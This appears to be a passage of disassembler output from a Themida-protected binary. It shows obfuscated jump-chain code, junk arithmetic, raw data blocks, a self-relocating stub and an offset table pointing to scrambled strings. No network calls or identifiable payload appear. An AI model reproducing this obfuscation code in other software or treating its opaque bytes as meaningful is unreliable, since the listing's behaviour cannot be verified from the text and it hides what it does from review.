		dd 0FFFF3D61h, 4EA835Dh, 2474FF52h, 48F5A04h, 2AE95C24h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DB7B:				; CODE XREF: Themida_:00585AFAj
		and	edx, edi
		jmp	loc_588684
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 183558Dh, 0FF6368E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DB8D:				; CODE XREF: Themida_:00581A4Fj
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_589985
; ---------------------------------------------------------------------------


loc_58DBA0:				; CODE XREF: Themida_:00588C4Bj
		xor	ebp, [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58DBAD:				; CODE XREF: Themida_:0058A3D3j
		add	ebx, edi
		jmp	loc_5846F4
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 83000000h,	9DE904C5h, 66FFFFE0h, 0E924048Bh
		dd 0FFFFFF1Ah, 0E92434FFh, 0FFFFEA52h, 5C33E953h, 0A1B7FFFFh
		dd 25C780h, 26E95BF8h, 5EFFFFCEh, 8104C483h, 4C5h, 242C8700h
		dd 0FFB557E9h, 0E6C15EFFh, 7BC68104h, 52FBC082h, 5D395DBAh
		dd 5AD30103h, 0EB81F329h, 35D395Dh, 0FF6778E9h,	79BD55FFh
		dd 812DAB1Bh, 3C042444h, 290DC061h, 8104246Ch, 3C04246Ch
		dd 0E90DC061h, 0FFFFE627h
; ---------------------------------------------------------------------------


loc_58DC38:				; CODE XREF: Themida_:0058DE71j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_58524C
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 3ADCA1B1h, 15DEF89h,	0C685FF8h, 8900005Bh, 7ABE2434h
		dd 8175A317h, 993219F6h, 68EED167h, 796Bh, 0BB241C89h
		dd 0
		dd 0FF71AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DC7D:				; CODE XREF: Themida_:0058A1B7j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_581F3F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FFB2DBE9h, 52A1B0FFh, 4EC81h, 83E90000h, 81FFFF49h
		dd 49A795EAh, 0FFD6894Ch, 835A2434h, 57E904C4h,	4EFFFF49h
		dd 77F6814Eh, 156BE7Bh,	0C1815EF1h, 4, 5C240C87h, 0E924048Fh
		dd 0FFFF88B3h, 23B8BD55h, 0E8014A40h, 4F41685Dh, 1C890000h
		dd 0F657BB24h, 2DE95AECh, 66FFFFA8h, 52240C8Bh,	0C281E289h
		dd 4, 715268h, 240C8900h, 213924B9h, 31C1815Ch,	52268A40h
		dd 0FFFFFFBAh, 5AD101FFh, 0C102E9C1h, 0E98104E9h, 20AADE3h
		dd 0FA6DE957h, 0BBBEFFFFh, 0E9371E1Ch, 0FFFFC805h, 0FF3B90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DD39:				; CODE XREF: Themida_:0058B7ACj
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58D127
; ---------------------------------------------------------------------------
		db 0B5h
		dd 66E888F7h, 5AF00059h, 0EFB450h, 9A81E9E3h, 0CCBAFFFFh
		dd 299C6326h, 0C3015AD0h, 4C38158h, 87000000h, 248B241Ch
		dd 0B4055824h, 0E9625F00h, 0FFFF3B41h, 0E904C483h, 0FFFF8717h
		dd 6CEDE959h, 5D5CFFFFh, 2E99BB53h, 21E92BBCh, 0B8FFFFE5h
		dd 4, 6832BF57h, 0FD013577h, 0E9C5295Fh, 0FFFF3D2Ch, 0E950EE01h
		dd 0FFFF84BFh, 5004C483h, 24048B5Dh, 0FFC4D8E9h, 243C89FFh
		dd 0FF6AE4E9h, 0F18851FFh, 0FF8A48E9h, 4BEFFh, 0F2290000h
		dd 8324348Bh, 148704C4h, 3C895C24h, 0A59EBF24h,	0F8316EA0h
		dd 0E9243C8Bh, 0FFFF97C2h, 4BFC381h, 0CB29334Dh, 17BBBD55h
		dd 0E5D1180Fh, 0FF6D42E9h, 3F6BFFFh, 302D15D3h,	13A295Ah
		dd 5A3005F8h, 0E95F3A29h, 0FFFF3A9Dh
; ---------------------------------------------------------------------------


loc_58DE2C:				; CODE XREF: Themida_:0058CC92j
		push	554Ah
		jmp	loc_5888B3
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 24248B24h, 9C2404FFh, 0FF3A84E9h, 58C288FFh,	0B7535B66h
		dd 28672CD5h, 2EC83F8h,	241C8966h, 0D80067B3h, 0FFB758E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DE61:				; CODE XREF: Themida_:0058603Dj
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58DC38
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFA709h
; ---------------------------------------------------------------------------


loc_58DE7C:				; CODE XREF: Themida_:0058872Ej
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_58C1DB
; ---------------------------------------------------------------------------


loc_58DE8C:				; CODE XREF: Themida_:0058352Bj
		push	556Fh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_583B2C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 40AA226Bh, 0FF8851E9h, 685EFFh, 29000000h, 0E95A2414h
		dd 0FFFFE0C5h, 0E9B1C280h, 0FFFFCC32h, 0E940478Fh, 0FFFF3A05h
		dd 8124148Bh, 4ECh, 241C8900h, 4EC81h, 0F1E90000h, 53FFFF84h
		dd 0C2663DBBh, 0D2D6E91Ch, 34FFFFFFh, 240C8B24h, 4C481h
		dd 0C9680000h, 89000028h, 0FE68241Ch, 8900001Ah, 0BBE92424h
		dd 0E9FFFFD6h, 0FFFF39BDh, 53DF0459h, 0FF5EE3E9h, 0E189BDFFh
		dd 0EE29D76Ch, 0FF9FCDE9h, 1B3B68FFh, 34890000h, 1BB5324h
		dd 56000000h, 0FFB9CFE9h, 31D531FFh, 0BCC281EAh, 29452336h
		dd 73E0E9D0h, 74FFFFFFh, 3C8B0424h, 5577E924h, 8668FFFFh
		dd 89000007h, 0FE682434h, 5E000000h, 0FF7E33E9h, 68D830FFh
		dd 4220h, 0E9240C89h, 0FFFFEE19h, 4C481h, 0EC810000h, 4
		dd 0E9240489h, 0FFFF878Ah
; ---------------------------------------------------------------------------


loc_58DF88:				; CODE XREF: Themida_:0058BCC4j
		mov	eax, 7D7745C9h
		xor	eax, 6D5B4E1Fh
		inc	eax
		push	edi
		mov	edi, 19154C1Ch
		jmp	loc_58B9C2
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 24148758h, 0FE68525Ch, 54000036h, 8124048Fh,	42404h
		dd 0CE90000h, 53FFFF47h, 774A82BBh, 1ABE5646h, 81662A07h
		dd 110C1AC6h, 5EF309D5h, 9FCC381h, 0EB8108A9h, 61867ADEh
		dd 0FF78CDE9h, 0E9C781FFh, 68106F5Ch, 3375h, 0BD242C89h
		dd 15C6357Fh, 5106EDC1h, 0A81E37B9h, 0E9CD0907h, 0FFFFB62Fh
; ---------------------------------------------------------------------------


loc_58E004:				; CODE XREF: Themida_:00583548j
		push	626E5171h
		jmp	loc_58BA1E
; ---------------------------------------------------------------------------
		dw 5966h
		dd 0E908E2C0h, 0FFFFFE9Ch, 24048F54h, 4BA52h, 54010000h
		dd 0E95A0424h, 0FFFFCA02h, 0FA429A2Fh, 5E73E9h,	58274E41h
		dd 7C90EB94h, 5ED535h, 12FF4Ch,	5E68BCh, 213h, 2, 1, 5
		dd 0FA429A2Fh, 5 dup(0)
		dd offset word_5A046A
		dd offset off_597B6E
		dd offset word_59C58A
		dd offset word_59B026
		dd offset byte_59F83D
		dd offset word_58E486
		dd offset dword_598578
		dd offset byte_59ABF9
		dd offset byte_59D955
		dd offset dword_59FB44
		dd offset byte_59D68F
		dd offset dword_597440
		dd offset aMh		; "¬hÄ`"
		dd offset dword_596920
		dd offset byte_592449
		dd offset dword_59E158
		dd offset byte_597CE3
		dd offset dword_59CC0C
		dd offset word_5956DE
		dd offset byte_59F633
		dd offset byte_5A2187
		dd offset byte_5A09E9
		dd offset dword_593F04
		dd offset dword_58FEC0
		dd offset byte_59BFC5
		dd offset byte_59B935
		dd offset byte_59A083
		dd offset dword_597140
		dd offset dword_59A054
		dd offset dword_59CA80
		dd offset word_5A024E
		dd offset word_5A12B2
		dd offset byte_592C2F
		dd offset byte_5A17E9
		dd offset byte_59BB23
		dd offset byte_59892B
		dd offset dword_592F1C
		dd offset byte_5A2E39
		dd offset byte_59EB3F
		dd offset dword_59FEB0
		dd offset byte_59E187
		dd offset aN_uacWsWcmrFN1 ; "­-_UAc)ØWS»WcŒr¿(FÅn1ß[h-("
		dd offset byte_59D30F
		dd offset byte_59C407
		dd offset word_5A0246
		dd offset byte_59EDCD
		dd offset dword_59428C
		dd offset dword_591554
		dd offset byte_59FB2D
		dd offset byte_59F235
		dd offset byte_59D6AF
		dd offset word_58EFE6
		dd offset dword_595A90
		dd offset word_596C6A
		dd offset dword_58F3F0
		dd offset byte_5A1643
		dd offset byte_59C763
		dd offset dword_590250
		dd offset byte_590FBB
		dd offset word_5983FE
		dd offset aMhw		; "¬hw^"
		dd offset aN1Vhjb	; "­1ØVh†b"
		dd offset aN1Hcr	; "­1ØhæR"
		dd offset dword_59D9BC
		dd offset byte_5A1317
		dd offset byte_59106F
		dd offset off_58E70F
		dd offset byte_59463B
		dd offset word_599FE2
		dd offset byte_598789
		dd offset word_59B6B6
		dd offset byte_58E995
		dd offset word_59D672
		dd offset byte_59A917
		dd offset dword_59395C
		dd offset aNhP		; "­h\x1BP"
		dd offset byte_5915D5
		dd offset word_5905D2
		dd offset dword_5A26F8
		dd offset word_59A7B2
		dd offset word_58FF9A
		dd offset byte_59D35D
		dd offset byte_59BBEF
		dd offset byte_59FF2D
		dd offset dword_598520
		dd offset byte_595303
		dd offset dword_5A0148
		dd offset dword_598444
		dd offset dword_5A20D8
		dd offset word_59A126
		dd offset dword_596244
		dd offset word_596F36
		dd offset byte_598E5F
		dd offset dword_59B070
		dd offset aN1Hz		; "­1Øh§'"
		dd offset byte_59A15B
		dd offset aMsM		; "¬é,¬"
		dd offset dword_5A13DC
		dd offset byte_599B77
		dd offset byte_598DE5
		dd offset aMsW		; "¬é·W"
		dd offset byte_59D0A9
		dd offset byte_5A0D09
		dd offset byte_59C48F
		dd offset aMs1i		; "¬é1›"
		dd offset dword_5972C8
		dd offset byte_59B2BF
		dd offset dword_59BADC
		dd offset dword_5A1440
		dd offset dword_590484
		dd offset byte_5933FB
		dd offset word_5A2042
		dd offset word_59A3BA
		dd offset byte_59DB47
		dd offset byte_59DAEB
		dd offset dword_59C31C
		dd offset byte_59827B
		dd offset dword_598B88
		dd offset byte_5941A9
		dd offset dword_5964B8
		dd offset dword_594E98
		dd offset dword_58E9EC
		dd offset byte_598035
		dd offset word_59601A
		dd offset byte_59CFD5
		dd offset byte_595DC1
		dd offset dword_5A2218
		dd offset byte_598DD1
		dd offset dword_590F7C
		dd offset word_598EBA
		dd offset word_59210A
		dd offset byte_59D285
		dd offset dword_599A58
		dd offset aMrh		; "¬RhÈ$"
		dd offset word_590FDA
		dd offset word_591D16
		dd offset word_59AC9A
		dd offset byte_5987DF
		dd offset word_59D4B6
		dd offset dword_5900BC
		dd offset word_59DA1E
		dd offset byte_5A29A5
		dd offset dword_596B08
		dd offset byte_59DD4F
		dd offset byte_59C7D3
		dd offset byte_595821
		dd offset off_5A31D3
		dd offset word_593532
		dd offset dword_5A3084
		dd offset word_5996A6
		dd offset byte_595A81
		dd offset byte_5A0D29
		dd offset off_59D34F
		dd offset word_58FA06
		dd offset byte_59DFBD
		dd offset byte_59AFD9
		dd offset word_591A56
		dd offset byte_594915
		dd offset aFrs		; "fRé{$"
		dd offset dword_5904D4
		dd offset byte_59413D
		dd offset byte_5A18E5
		dd offset dword_5A0B18
		dd offset byte_592047
		dd offset word_59CF12
		dd offset byte_58FB97
		dd offset byte_5A1711
; ---------------------------------------------------------------------------


loc_58E30C:				; CODE XREF: Themida_:005D45BEj
					; Themida_:005E736Dj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61648E5h
		mov	eax, edi
		add	edi, 61645FDh
		cmp	eax, [edi+2Ch]
		jnz	short loc_58E32A
		jmp	short loc_58E33D
; ---------------------------------------------------------------------------


loc_58E32A:				; CODE XREF: Themida_:0058E326j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58E339
; ---------------------------------------------------------------------------


loc_58E334:				; CODE XREF: Themida_:0058E33Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58E339:				; CODE XREF: Themida_:0058E332j
		or	ecx, ecx
		jnz	short loc_58E334


loc_58E33D:				; CODE XREF: Themida_:0058E328j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58E34A:				; CODE XREF: Themida_:0058E351j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58E34A


loc_58E353:				; CODE XREF: Themida_:loc_58EE1Dj
					; Themida_:00590A2Ej ...
		lodsb
		jmp	loc_598255
; ---------------------------------------------------------------------------


loc_58E359:				; CODE XREF: Themida_:00597CA5j
		sub	ebx, 417CEFBh
		jmp	loc_5A0952
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9FD0000h, 187Eh, 6CB2CE81h, 0EE814053h, 48E005D6h
		dd 69E0EE81h, 0F201091Bh, 4C2815Eh, 87000000h, 21E92414h
		dd 8300014Fh, 0C8704E9h, 44E95C24h, 8900010Dh, 32B42404h
		dd 7FE9E288h, 81000006h, 704460C5h, 0EC815B67h,	4, 0E9240C89h
		dd 0B4BBh
; ---------------------------------------------------------------------------


loc_58E3C0:				; CODE XREF: Themida_:0059FD43j
		neg	ebp
		and	ebp, 30163A31h
		jmp	loc_5A2F6A
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 5Eh
		dd 1D10BD55h, 1EE9663Bh, 830000D0h, 248904ECh, 24048324h
		dd 24148B04h, 4C481h, 0C2810000h, 4, 1F2B6853h,	2C890000h
		dd 652C6824h, 2C8B3A93h, 5A20E924h, 0BA520000h,	4, 875AD301h
		dd 0E95C241Ch, 0FFFFFF37h, 5C24048Fh, 9C2424D2h, 0FFFF2AE9h
		dd 4BEFFh, 0F5890000h, 5DEA015Eh, 31241433h, 14332414h
		dd 24248B24h, 0FF2434FFh, 99E92434h, 6800013Ch,	0
		dd 0FFEB815Bh, 5269907Fh, 0EF2F10BAh, 5AD32969h, 4A15E9h
		dd 0F3815E00h, 5114593Ch, 876FE9h, 4C48300h, 113B5E9h
		dd 24248B00h, 6DF568h, 820EE900h
		db 2 dup(0)
word_58E486	dw 34FFh		; DATA XREF: Themida_:0058E084o
		dd 2434FF24h, 4C48359h,	40968h,	24348900h, 562168h, 24248900h
		dd 8904EC83h, 0EB68242Ch, 89000050h, 0B2E9241Ch, 8100010Bh
		dd 143A2EBh, 0F1C38178h, 1593863h, 0F1EB81F3h, 81593863h
		dd 143A2C3h, 1C335E78h,	241C3124h, 8B241C33h, 29662424h
		dd 0E99C2404h, 0FFFFFE6Fh
; ---------------------------------------------------------------------------


loc_58E4E4:				; CODE XREF: Themida_:005A0B96j
		add	ebp, 73FA37E8h
		add	ebp, 4A74318Ah
		jmp	loc_5A1D43
; ---------------------------------------------------------------------------
		db 5, 0D1h, 53h
		dd 0E22D1DC8h, 2909BB2Eh, 2EE205D0h, 0D12D09BBh, 5A1DC853h
		dd 0FB08AD05h, 0B123E96Fh, 0E9520000h, 4179h, 3FF6F681h
		dd 0DEF74AE6h, 9AA4B850h, 0C629B3DEh, 5EF12958h, 10932E9h
		dd 4C68100h, 87000000h,	36E92434h, 0BFFFFFFFh, 4, 0DAF8E9h
		dd 0C4815900h, 4, 0E9515358h, 4B9Eh
; ---------------------------------------------------------------------------


loc_58E55C:				; CODE XREF: Themida_:0059935Aj
		push	5D31FDAh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_595029
; ---------------------------------------------------------------------------


loc_58E57F:				; CODE XREF: Themida_:0059C9E9j
		add	ebx, 65D80409h
		add	ebx, edx
		sub	ebx, 65D80409h
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58FCB8
; ---------------------------------------------------------------------------


loc_58E5A2:				; CODE XREF: Themida_:00599D9Ej
		add	ebp, edx
		pop	edx
		jmp	loc_596582
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0A0E9240Ch, 0E9FFFFFDh, 0FFFFFD9Bh, 0C831C831h, 5A06E9h
		dd 1BA00h, 0D5290000h, 0F3F5815Ah, 9020A10h, 242C8BEAh
		dd 6804C483h, 235Dh, 0E9240C89h, 26ABh,	57243489h, 3D97E9h
		dd 24440100h, 0DD15E904h, 0EC810000h, 4, 12A79E9h, 5EF00100h
		dd 3302C083h, 4312404h,	24043324h, 5E61E95Ch, 0EF810000h
		dd 4, 8B243C87h, 14892424h, 0BA24h, 0A1E90000h,	890000A5h
		dd 4C281E2h, 83000000h,	148704C2h, 9D685C24h, 8900000Ch
		dd 0E954242Ch, 1450Dh, 0C181C101h, 124603Ch, 0E924048Bh
		dd 0E7AEh, 8F04C483h, 248B2404h, 4016624h, 0E4E99C24h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E66F:				; CODE XREF: Themida_:005969EAj
		mov	ch, 47h
		shr	ch, 1
		jmp	loc_59E110
; ---------------------------------------------------------------------------
		dd 113CC681h, 0E6C17CEBh, 0BC684E05h, 8900007Eh, 0C0B9240Ch
		dd 0C15FDC77h, 0E18103E1h, 49974322h, 55B5C981h, 0B8502D44h
		dd 5CD42D48h, 0F8E9C121h, 83000124h, 575904C4h,	4BFh, 0BBC28100h
		dd 1006326h, 4EC83FAh, 1460FE9h, 0E4E94D00h
		db 31h,	1, 0
; ---------------------------------------------------------------------------


loc_58E6CB:				; CODE XREF: Themida_:00591DEEj
		pop	ecx
		add	esp, 4
		shl	edi, 6
		neg	edi
		and	edi, 2C897D21h
		inc	edi
		add	edi, 8E7AB9D3h
		jmp	loc_5999C9
; ---------------------------------------------------------------------------
		db 0BAh, 93h, 3Fh
		dd 42E917A6h, 0B90000B9h, 61CA77AFh, 6B5EE181h,	0C9815EA6h
		dd 14AB0FC8h, 631BF181h, 8FE967BDh
		db 0F3h, 2 dup(0)
off_58E70F	dd offset dword_4BC2EC+0DE7Ch ;	DATA XREF: Themida_:0058E178o
		align 4
		dd 89243C89h, 4C781E7h,	0E9000000h, 0CCB2h
; ---------------------------------------------------------------------------


loc_58E724:				; CODE XREF: Themida_:0059684Aj
		add	esp, 4
		pop	ecx
		jmp	loc_59F532
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 93h
		dd 1B95363h, 0EE815DEEh, 1, 5551F681h, 8B5670A0h, 61E92404h
		dd 8F000129h, 0B8502404h, 4, 4244401h, 0A5F0E9h, 52D5E00h
		dd 13F0274h, 0CDBD55F8h, 8144B847h, 0BA33C8F5h,	5DE8017Bh
		dd 0BE565552h, 3B5E6ACAh, 89A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E781:				; CODE XREF: Themida_:0059819Dj
		pop	esi
		push	ecx
		mov	ecx, 43A8705Ch
		dec	ecx
		or	ecx, 485E030Eh
		dec	ecx
		dec	ecx
		sub	ecx, 0B4B207Ch
		add	esi, 0B9D474Ch
		sub	esi, ecx
		sub	esi, 0B9D474Ch
		pop	ecx
		jmp	loc_595AAF
; ---------------------------------------------------------------------------


loc_58E7AB:				; CODE XREF: Themida_:00594074j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esi
		push	6611h
		mov	[esp], eax
		xor	dword ptr [esp], 4CEB6DF3h
		pop	edi
		push	edx
		mov	edx, 25235A83h
		shr	edx, 1
		dec	edx
		jmp	loc_595C47
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 348BF329h,	5D545524h, 4C581h, 0C5810000h
		dd 4, 0A3BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E7F1:				; CODE XREF: Themida_:005A0FFEj
		dec	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_591A7E
; ---------------------------------------------------------------------------


loc_58E800:				; CODE XREF: Themida_:0059A692j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_59A9F8
; ---------------------------------------------------------------------------
		dw 505Dh
		dd 4B8h, 58C50100h, 3304C583h, 2C31242Ch, 242C3324h, 8F24248Bh
		dd 0D9E92404h, 810000E8h, 8F36B7F6h, 8ABF5725h,	31158263h
		dd 0F2095FFEh, 69E9515Eh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E84F:				; CODE XREF: Themida_:00592408j
		add	al, bh
		add	al, 27h
		mov	ebx, [esp]
		add	esp, 4
		push	bx
		mov	bh, 57h
		jmp	loc_5995F7
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 14640E9h,	4C48300h, 0FA7AE950h, 0BD550000h
		dd 1, 815DEF01h, 0EB3686EFh, 3BDDE92Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_58E88A:				; CODE XREF: Themida_:005A05ADj
		xor	ecx, ebx
		pop	ebx
		mov	edx, ecx
		pop	ecx
		add	edx, 37693D44h
		add	edx, eax
		jmp	loc_599D84
; ---------------------------------------------------------------------------
		db 30h,	3Ch, 24h
		dd 30243C32h, 0A8E9243Ch, 50FFFFFAh, 0C6348BB8h, 414C3548h
		dd 0C1893E7Ah, 8BC82958h, 0C481240Ch, 4, 0F7016B2Dh, 1DA1051Ah
		dd 0F801098Bh, 0DD40E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E8D5:				; CODE XREF: Themida_:00590758j
		mov	dl, 62h
		add	dl, 67h
		jmp	loc_59D8E2
; ---------------------------------------------------------------------------
		db 89h
		dd 0ECBF243Ch, 8133AE4Eh, 233868C7h, 53EFD15Fh,	0A90EE9h
		dd 0EC815900h, 4, 89243489h, 4C681E6h, 0E9000000h, 9587h
		dd 2D2CC781h, 0D1E97271h, 80000142h, 6CE938C2h,	4200003Bh
		dd 0F5C2814Ah, 0E92B4BD6h, 0AFB8h, 0E9242C89h, 411Ah, 68D2F75Dh
		dd 4940h, 0BD242C89h, 7388034Bh, 8108EDC1h, 0D089A2C5h
		dd 5DEA290Bh, 111C281h,	0ED81C5B2h, 406F2C5Ah, 0C581D501h
		dd 406F2C5Ah, 35D9E9h, 2434FF00h, 81243C8Bh, 4C4h, 40956800h
		dd 3E90000h, 8000010Fh,	0C580C3C5h, 5A8DE9A6h, 0C1810000h
		dd 451059Dh, 37D0E9h
		db 0
byte_58E995	db 64h,	66h, 0Fh	; DATA XREF: Themida_:0058E18Co
		dd 686602B6h, 89663FFBh, 0ACE92404h, 0B9FFFFF9h, 40E56F2Dh
		dd 7BE9CA29h
		db 21h,	1, 0
; ---------------------------------------------------------------------------


loc_58E9B3:				; CODE XREF: Themida_:0059AADAj
		and	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		dec	edx
		shr	edx, 8
		shl	edx, 1
		jmp	loc_596BC8
; ---------------------------------------------------------------------------


loc_58E9C9:				; CODE XREF: Themida_:0058FE40j
		add	esp, 4
		jmp	loc_58F19F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 4857h, 4EC81h, 14890000h, 0E9E28924h, 0F6ABh
dword_58E9EC	dd 9D1C77FFh, 4105866h,	58E99C24h, 83FFFFF9h, 506604C4h
					; DATA XREF: Themida_:0058E254o
		dd 32E0E9h, 34875800h, 24248B24h, 4C481h, 34FF0000h, 68575824h
		dd 201Ch, 18FFE9h, 48F6600h, 164BE924h,	48B0000h, 7DA46824h
		dd 0E2E90000h, 5D000124h, 241EBE56h, 0F6814546h, 58306BC8h
		dd 140BE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EA4A:				; CODE XREF: Themida_:0059730Dj
		sub	ebx, 75346506h
		jmp	loc_5A0E2C
; ---------------------------------------------------------------------------


loc_58EA55:				; CODE XREF: Themida_:0059F8E7j
		push	ebp
		push	esp
		jmp	loc_590032
; ---------------------------------------------------------------------------


loc_58EA5C:				; CODE XREF: Themida_:00590584j
		push	ebx
		jmp	loc_5A19FB
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 321663ABh, 0D141E9h,	8BD00100h, 0C4832414h, 6EB23504h
		dd 0EA815956h, 6B616F0h, 4087EA81h, 6FE92414h, 0B80000EEh
		dd 4, 0E958C601h, 1160h, 81240429h, 732E2404h, 0E9523226h
		dd 904Bh, 0BEC2815Dh, 0E9FDE846h, 596Bh
; ---------------------------------------------------------------------------


loc_58EAB4:				; CODE XREF: Themida_:0059B8E7j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 61541C08h
		add	[esp+4], eax
		jmp	loc_59356A
; ---------------------------------------------------------------------------


loc_58EACD:				; CODE XREF: Themida_:005A06A9j
		push	ebp
		jmp	loc_592D0E
; ---------------------------------------------------------------------------
		db 81h
		dd 0F72C7AC7h, 0FD98E91Eh, 295BFFFFh, 0E9CF87F9h, 3664h
; ---------------------------------------------------------------------------


loc_58EAE8:				; CODE XREF: Themida_:0059A3E4j
		mov	[esp], edi
		pop	edx
		jmp	loc_590A5C
; ---------------------------------------------------------------------------


loc_58EAF1:				; CODE XREF: Themida_:0059905Dj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A022D
; ---------------------------------------------------------------------------


loc_58EB02:				; CODE XREF: Themida_:00591C64j
		add	ebp, edi
		jmp	loc_59B21D
; ---------------------------------------------------------------------------
		db 1, 0CAh, 68h
		dd 252Ah, 0BD242C89h, 3BA64284h, 8106EDC1h, 9DA039F5h
		dd 8BEA0118h, 0C481242Ch, 4, 4BF5759h, 1000000h, 0FF525FFAh
		dd 5A042474h, 5C24048Fh, 39416855h, 24890000h, 4BB5324h
		dd 1000000h, 5B04245Ch,	4B9515Dh, 1000000h, 0C58159CDh
		dd 4, 31242C33h, 2C33242Ch, 24248B24h, 0E99CC83Bh, 0FFFFF7DBh
; ---------------------------------------------------------------------------


loc_58EB78:				; CODE XREF: Themida_:0059CA03j
		push	ebx
		jmp	loc_5A0CBF
; ---------------------------------------------------------------------------
aIIxvsfa	db '‰,$‰åVéäa',0
		dd 0D685700h, 5F52CF56h, 0C106EFC1h, 0EF8104EFh, 0EAB0AB79h
		dd 41EEE9h, 0EC835500h,	24348904h, 1B8EE9h, 66C23000h
		dd 6E21E958h, 44BF0000h, 29A6708Ch, 0CA295FF9h,	0F78DE959h
		dd 0C681FFFFh, 4, 4EE81h, 34870000h, 3C895C24h,	4BF24h
		dd 0FA010000h, 75E9535Fh
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58EBE7:				; CODE XREF: Themida_:00596E32j
		pop	esi
		sub	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 7BD67CE8h
		shl	ebp, 4
		shr	ebp, 8
		neg	ebp
		not	ebp
		add	ebp, 706606BEh
		add	ebp, 966ECF97h
		jmp	loc_5A08EF
; ---------------------------------------------------------------------------
		dd 706A1968h, 0EBC2E926h, 0E94F0000h, 48C5h, 4EC8151h
		dd 89000000h, 4832424h,	81590424h, 4C1h, 4BF5700h, 81000000h
		dd 0C93024C1h, 81F90130h, 0C93024E9h, 0C335F30h, 240C3124h
		dd 854DE9h, 918B800h, 0D4006ABh, 72D7076Fh, 9601C083h
		dd 0BDE9D6F7h, 53000034h, 3A11FEBBh, 0F7E3D173h, 0FFEB81D3h
		dd 1198BDBh, 241C8BD8h,	5004C483h, 405E089h, 2D000000h
		dd 4, 5C240487h, 0E9243C89h, 69Ah, 0BD55585Dh, 4, 2C8BEA01h
		dd 0E2895224h, 0A263E9h, 9FEF8100h, 8171C447h, 840BCCC7h
		dd 81DF0151h, 840BCCEFh, 24ECE951h, 8FBA0000h, 31205A68h
		dd 0CAE95AD5h, 81000100h, 2D1FBDCEh, 92C6811Eh,	0F7575225h
		dd 3FEE81D6h, 154652Dh,	0C3295EF3h, 5C3EB850h, 0E94859BAh
		dd 0E4B1h
; ---------------------------------------------------------------------------


loc_58ECF8:				; CODE XREF: Themida_:005A2264j
		sub	dword ptr [esp+8], 1FE86CE9h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	56BDh
		mov	[esp], ebx
		jmp	loc_59470F
; ---------------------------------------------------------------------------


loc_58ED19:				; CODE XREF: Themida_:00598F8Cj
		push	eax
		mov	ah, 17h
		jmp	loc_59BB37
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 27h
		dd 0F180D1F6h, 0AD04CBh, 0FFAD2CC8h, 0C8B2434h,	4C48124h
		dd 0E9000000h, 0FFFFFB2Dh, 0D7F8BE56h, 0F289EAE4h, 5AD7895Eh
		dd 34FFFB01h, 0C4815F24h, 4, 685BD831h,	565Dh, 52243489h
		dd 35E8BB53h, 34E9569Dh
		db 0Dh,	1, 0
; ---------------------------------------------------------------------------


loc_58ED6F:				; CODE XREF: Themida_:0059E582j
		push	5DC7h
		jmp	loc_598655
